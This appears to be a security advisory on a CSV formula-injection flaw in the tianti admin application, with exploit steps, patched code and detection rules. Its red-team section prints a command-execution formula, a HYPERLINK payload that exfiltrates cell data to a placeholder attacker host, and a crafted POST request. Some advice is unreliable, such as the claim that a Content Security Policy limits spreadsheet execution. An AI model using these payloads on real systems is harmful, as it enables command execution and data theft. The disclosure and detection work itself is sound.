CVE-2025-8808

Executive Summary

CVE-2025-8808 is a CSV Injection vulnerability (CWE-1236) discovered in the xujeff tianti (天梯) application up to version 2.3. The flaw resides in the exportOrder function of the /tianti-module-admin/user/ajax/save endpoint within the com.jeff.tianti.controller component. An attacker can inject malicious formulas into exported CSV files, which, when opened by a victim in spreadsheet software (e.g., Microsoft Excel, LibreOffice Calc), can execute arbitrary commands or exfiltrate data. The attack is remotely exploitable with low complexity, requires user interaction (the victim must open the crafted CSV), and has a CVSS score of 4.3 (Medium). No patch is currently available from the vendor, and a public proof-of-concept exists.

Supply Chain & Package Security

This vulnerability affects the tianti (天梯) application, which is a Java-based web application. It is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is primarily to organizations that have deployed this application internally or as a service. Since the vendor has not responded, there is no official patch, and users must rely on workarounds or custom fixes.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): Required – The victim must open the malicious CSV file.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): None – No direct data breach.
• Integrity (I): Low – The attacker can modify data or execute commands within the spreadsheet context.
• Availability (A): None – No denial of service.

Threat Level: Medium. The attack requires user interaction, but the impact can be significant if a privileged user opens the CSV, potentially leading to command execution or data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic CSV Injection (also known as Formula Injection). The exportOrder function in the tianti application generates CSV files from user-controlled data without sanitizing cells that start with special characters like =, +, -, or @. When a victim opens the CSV in a spreadsheet application, these characters are interpreted as formulas, allowing the attacker to execute arbitrary commands or retrieve data.

Attack Flow:

1. The attacker sends a crafted request to the /tianti-module-admin/user/ajax/save endpoint, injecting a malicious payload into an order field (e.g., =CMD|' /C calc'!A0).
2. The application stores this payload and later exports it into a CSV file via the exportOrder function.
3. The victim (e.g., an administrator) downloads and opens the CSV file in Excel or LibreOffice.
4. The spreadsheet executes the formula, potentially running commands (e.g., launching Calculator on Windows) or exfiltrating data via web requests.

Root Cause: Lack of input sanitization on fields that are later exported to CSV. The application does not escape or prefix cells that start with formula characters.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the exportOrder method of the controller. A patched version would need to sanitize CSV output by prefixing cells starting with =, +, -, or @ with a single quote (') or a tab character to prevent formula execution.

Vulnerable Code (Conceptual):

// Vulnerable: Directly writes user input to CSV
public void exportOrder(HttpServletResponse response, List<Order> orders) {
    PrintWriter writer = response.getWriter();
    writer.println("ID,Name,Details");
    for (Order order : orders) {
        writer.println(order.getId() + "," + order.getName() + "," + order.getDetails());
    }
}

Patched Code (Conceptual):

// Patched: Sanitize fields that start with formula characters
public void exportOrder(HttpServletResponse response, List<Order> orders) {
    PrintWriter writer = response.getWriter();
    writer.println("ID,Name,Details");
    for (Order order : orders) {
        String name = sanitizeCsvField(order.getName());
        String details = sanitizeCsvField(order.getDetails());
        writer.println(order.getId() + "," + name + "," + details);
    }
}

private String sanitizeCsvField(String field) {
    if (field != null && (field.startsWith("=") || field.startsWith("+") || field.startsWith("-") || field.startsWith("@"))) {
        return "'" + field; // Prefix with single quote to prevent formula execution
    }
    return field;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the tianti application (e.g., http://target.com/tianti-module-admin/user/ajax/save).
• Ability to submit data that will be exported via the exportOrder function.

Exploit Steps:

1. Craft a malicious payload for a field that will be exported. For example, to execute a command on Windows:

   =CMD|' /C calc'!A0
   

   Or to exfiltrate data via a web request:

   =HYPERLINK("http://attacker.com/steal?data="&A1,"Click here")
   

2. Send a POST request to the vulnerable endpoint with the payload:

   POST /tianti-module-admin/user/ajax/save HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   name=test&details==CMD|' /C calc'!A0
   

3. Trigger the export function (e.g., by navigating to the export page or calling the export API).
4. Download the generated CSV file.
5. Open the CSV in a spreadsheet application (e.g., Microsoft Excel). The formula will execute.

Lab Setup:

• Deploy a local instance of tianti (version 2.3 or earlier) using a Java application server (e.g., Tomcat).
• Use a tool like Burp Suite or Postman to send crafted requests.
• Monitor the CSV output to confirm injection.

Blue Team

Detection:

• Monitor for unusual characters in exported CSV files, especially cells starting with =, +, -, or @.
• Use web application firewalls (WAF) to block requests containing formula injection patterns.
• Implement input validation on the server side to reject or sanitize formula characters.

Prevention:

• Apply the conceptual patch above to sanitize CSV output.
• Educate users to open CSV files in a text editor first or disable automatic formula execution in spreadsheet software.
• Use a library like Apache Commons CSV that handles escaping properly.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /tianti-module-admin/user/ajax/save containing payloads with =, +, -, or @ in field values.
  • Outbound connections from a victim machine to attacker-controlled servers (if using HYPERLINK or WEBSERVICE formulas).
• File IOCs:
  • CSV files containing cells that start with =, +, -, or @.
  • Unexpected command execution (e.g., calc.exe on Windows) when opening a CSV file.
• System IOCs:
  • Processes spawned by spreadsheet software (e.g., cmd.exe, powershell.exe) when opening a CSV.

Detection Engineering

YARA Rule

rule CVE_2025_8808_CSV_Injection {
    meta:
        description = "Detects CSV files with potential formula injection patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8808"
    strings:
        $formula1 = /^[=+\-@]/  // Cells starting with =, +, -, or @
        $formula2 = /[=+\-@].*[A-Z]/  // Formula-like patterns
    condition:
        $formula1 at 0 or $formula2
}

Sigma Rule

title: CVE-2025-8808 CSV Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to tianti export endpoint with formula injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/tianti-module-admin/user/ajax/save'
        cs-uri-query|contains|any:
            - '=CMD'
            - '=HYPERLINK'
            - '=WEBSERVICE'
            - '=EXEC'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in non-malicious contexts
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8808 CSV Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/tianti-module-admin/user/ajax/save"; http_uri; pcre:"/(=CMD|=HYPERLINK|=WEBSERVICE|=EXEC)/Ri"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the export functionality if not critical, or restrict access to trusted users only.
2. Apply input validation to reject fields containing =, +, -, or @ at the start.
3. Sanitize CSV output by prefixing dangerous cells with a single quote (').
4. Educate users to open CSV files in a text editor or use spreadsheet software with macros disabled.

Long-term Fix:

• Since the vendor has not responded, consider forking the project and applying the patch yourself.
• Monitor for official updates from xujeff (if any).
• Replace the tianti application with a maintained alternative if possible.

Workarounds:

• Use a reverse proxy or WAF to block requests containing formula injection patterns.
• Implement a Content Security Policy (CSP) that restricts spreadsheet execution.

Valters IT